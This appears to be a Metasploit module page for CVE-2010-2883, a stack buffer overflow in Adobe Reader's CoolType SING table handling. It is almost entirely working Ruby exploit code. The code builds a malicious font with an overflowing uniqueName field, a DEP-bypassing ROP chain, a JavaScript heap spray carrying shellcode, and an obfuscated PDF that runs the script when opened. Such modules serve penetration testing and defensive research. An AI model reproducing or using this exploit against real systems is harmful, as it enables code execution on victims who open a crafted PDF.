Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

2010-09-08T23:05:18
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ADOBE_COOLTYPE_SING
Type metasploit
Reporter Rapid7
Modified 2020-01-15T01:47:27

Description

This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are assumed to be vulnerable as well.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
        handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are
        assumed to be vulnerable as well.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',    # 0day found in the wild
          'sn0wfl0w',   # initial analysis, also @vicheck on twitter
          'jduck'       # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-2883' ],
          [ 'OSVDB', '67849'],
          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'             => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
          # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
          # Tested OK via Adobe Reader 9.3 on XP and 7 -todb
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => 'Sep 07 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ])
  end

  def exploit
    ttf_data = make_ttf()

    js_data = make_js(payload.encoded)

    # Create the pdf
    pdf = make_pdf(ttf_data, js_data)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def make_ttf
    ttf_data = ""

    # load the static ttf file

    # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
    path = File.join( Msf::Config.data_directory, "exploits", "cve-2010-2883.ttf" )
    fd = File.open( path, "rb" )
    ttf_data = fd.read(fd.stat.size)
    fd.close

    # Build the SING table
    sing = ''
    sing << [
      0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
      0xe01,  # glyphletVersion
      0x100,  # embeddingInfo
      0,      # mainGID
      0,      # unitsPerEm
      0,      # vertAdvance
      0x3a00  # vertOrigin
    ].pack('vvvvvvvv')
    # uniqueName
    # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
    #sing << "A" * (0x254 - sing.length)
    sing << rand_text(0x254 - sing.length)

    # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
    sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

    # This becomes our new EIP (puts esp to stack buffer)
    ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
    sing[0x208, 4] = [ret].pack('V')

    # This becomes the new eip after the first return
    ret = 0x4a82a714
    sing[0x18, 4] = [ret].pack('V')

    # This becomes the new esp after the first return
    esp = 0x0c0c0c0c
    sing[0x1c, 4] = [esp].pack('V')

    # Without the following, sub_801ba57 returns 0.
    sing[0x24c, 4] = [0x6c].pack('V')

    ttf_data[0xec, 4] = "SING"
    ttf_data[0x11c, sing.length] = sing

    ttf_data
  end

  def make_js(encoded_payload)

    # The following executes a ret2lib using icucnv36.dll
    # The effect is to bypass DEP and execute the shellcode in an indirect way
    stack_data = [
      0x41414141,   # unused
      0x4a8063a5,   # pop ecx / ret
      0x4a8a0000,   # becomes ecx

      0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

      0x4a801f90,   # pop eax / ret
      0x4a84903c,   # becomes eax (import for CreateFileA)

      # -- call CreateFileA
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
      0x10000000,   # second arg  - dwDesiredAccess
      0x00000000,   # third arg   - dwShareMode
      0x00000000,   # fourth arg  - lpSecurityAttributes
      0x00000002,   # fifth arg   - dwCreationDisposition
      0x00000102,   # sixth arg   - dwFlagsAndAttributes
      0x00000000,   # seventh arg - hTemplateFile

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000008,   # becomes ebx - offset to modify

      #
      # This points at a neat-o block of code that ... TBD
      #
      #   and [esp+ebx*2],edi
      #   jne check_slash
      # ret_one:
      #   mov al,1
      #   ret
      # check_slash:
      #   cmp al,0x2f
      #   je ret_one
      #   cmp al,0x41
      #   jl check_lower
      #   cmp al,0x5a
      #   jle check_ptr
      # check_lower:
      #   cmp al,0x61
      #   jl ret_zero
      #   cmp al,0x7a
      #   jg ret_zero
      #   cmp [ecx+1],0x3a
      #   je ret_one
      # ret_zero:
      #   xor al,al
      #   ret
      #

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849038,   # becomes eax (import for CreateFileMappingA)

      # -- call CreateFileMappingA
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0xffffffff,   # arguments to CreateFileMappingA, hFile
      0x00000000,   # lpAttributes
      0x00000040,   # flProtect
      0x00000000,   # dwMaximumSizeHigh
      0x00010000,   # dwMaximumSizeLow
      0x00000000,   # lpName

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000008,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849030,   # becomes eax (import for MapViewOfFile

      # -- call MapViewOfFile
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0xffffffff,   # args to MapViewOfFile - hFileMappingObject
      0x00000022,   # dwDesiredAccess
      0x00000000,   # dwFileOffsetHigh
      0x00000000,   # dwFileOffsetLow
      0x00010000,   # dwNumberOfBytesToMap

      0x4a8063a5,   # pop ecx / ret
      0x4a8a0004,   # becomes ecx - writable pointer

      0x4a802196,   # mov [ecx],eax / ret - save map base addr

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000030,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a8a0004,   # becomes eax - saved file mapping ptr

      0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000020,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

      0x4a801f90,   # pop eax / ret
      0x00000034,   # becomes eax

      0x4a80d585,   # add eax,edx / ret

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x0000000a,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849170,   # becomes eax (import for memcpy)

      # -- call memcpy
      0x4a80b692,   # jmp [eax]

      0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
      0xffffffff,   # becomes first arg to memcpy (dst)
      0xffffffff,   # becomes second arg to memcpy (src)
      0x00001000,   # becomes third arg to memcpy (length)
      #0x0000258b,   # ??
      #0x4d4d4a8a,   # ??
    ].pack('V*')

    var_unescape  = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)

    var_start     = rand_text_alpha(rand(100) + 1)

    var_s         = 0x10000
    var_c         = rand_text_alpha(rand(100) + 1)
    var_b         = rand_text_alpha(rand(100) + 1)
    var_d         = rand_text_alpha(rand(100) + 1)
    var_3         = rand_text_alpha(rand(100) + 1)
    var_i         = rand_text_alpha(rand(100) + 1)
    var_4         = rand_text_alpha(rand(100) + 1)

    payload_buf = ''
    payload_buf << stack_data
    payload_buf << encoded_payload

    escaped_payload = Rex::Text.to_unescape(payload_buf)

    js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

    js
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj \n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end


  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    #return str
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end


  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end


  def make_pdf(ttf, js)

    #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

    xref = []
    eol = "\n"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol

    # catalog
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<<") << eol
    pdf << n_obfu("/Pages ") << io_ref(2) << eol
    pdf << n_obfu("/Type /Catalog") << eol
    pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
    # The AcroForm is required to get icucnv36.dll to load
    pdf << n_obfu("/AcroForm ") << io_ref(13) << eol
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # pages array
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<<") << eol
    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
    pdf << n_obfu("/Resources ") << io_ref(4) << eol
    pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
    pdf << n_obfu("/Count 1") << eol
    pdf << n_obfu("/Type /Pages") << eol
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # media box
    xref << pdf.length
    pdf << io_def(3)
    pdf << "[0 0 595 842]" << eol
    pdf << endobj

    # resources
    xref << pdf.length
    pdf << io_def(4)
    pdf << n_obfu("<<") << eol
    pdf << n_obfu("/Font ") << io_ref(6) << eol
    pdf << ">>" << eol
    pdf << endobj

    # page 1
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<<") << eol
    pdf << n_obfu("/Parent ") << io_ref(2) << eol
    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
    pdf << n_obfu("/Resources ") << io_ref(4) << eol
    pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol
    pdf << n_obfu("/Type /Page") << eol
    pdf << n_obfu(">>") << eol # end obj dict
    pdf << endobj

    # font
    xref << pdf.length
    pdf << io_def(6) << n_obfu("<<") << eol
    pdf << n_obfu("/F1 ") << io_ref(7) << eol
    pdf << ">>" << eol
    pdf << endobj

    # ttf object
    xref << pdf.length
    pdf << io_def(7) << n_obfu("<<") << eol
    pdf << n_obfu("/Type /Font") << eol
    pdf << n_obfu("/Subtype /TrueType") << eol
    pdf << n_obfu("/Name /F1") << eol
    pdf << n_obfu("/BaseFont /Cinema") << eol
    pdf << n_obfu("/Widths []") << eol
    pdf << n_obfu("/FontDescriptor ") << io_ref(9)
    pdf << n_obfu("/Encoding /MacRomanEncoding")
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # page content
    content = "Hello World!"
    content = "" +
      "0 g" + eol +
      "BT" + eol +
      "/F1 32 Tf" + eol +
      "32 Tc" + eol +
      "1 0 0 1 32 773.872 Tm" + eol +
      "(" + content + ") Tj" + eol +
      "ET"

    xref << pdf.length
    pdf << io_def(8) << "<<" << eol
    pdf << n_obfu("/Length %s" % content.length) << eol
    pdf << ">>" << eol
    pdf << "stream" << eol
    pdf << content << eol
    pdf << "endstream" << eol
    pdf << endobj

    # font descriptor
    xref << pdf.length
    pdf << io_def(9) << n_obfu("<<")
    pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
    pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
    pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
    pdf << n_obfu("/FontFile2 ") << io_ref(10)
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # ttf stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ttf)
    pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    # js action
    xref << pdf.length
    pdf << io_def(11) << n_obfu("<<")
    pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # js stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    ###
    # The following form related data is required to get icucnv36.dll to load
    ###

    # form object
    xref << pdf.length
    pdf << io_def(13)
    pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol
    pdf << endobj

    # form stream
    xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

    xref << pdf.length
    pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol
    pdf << "stream" << eol
    pdf << xfa << eol
    pdf << "endstream" << eol
    pdf << endobj

    ###
    # end form stuff for icucnv36.dll
    ###


    # trailing stuff
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    pdf << "trailer" << eol
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol

    pdf << "%%EOF" << eol
    pdf
  end
end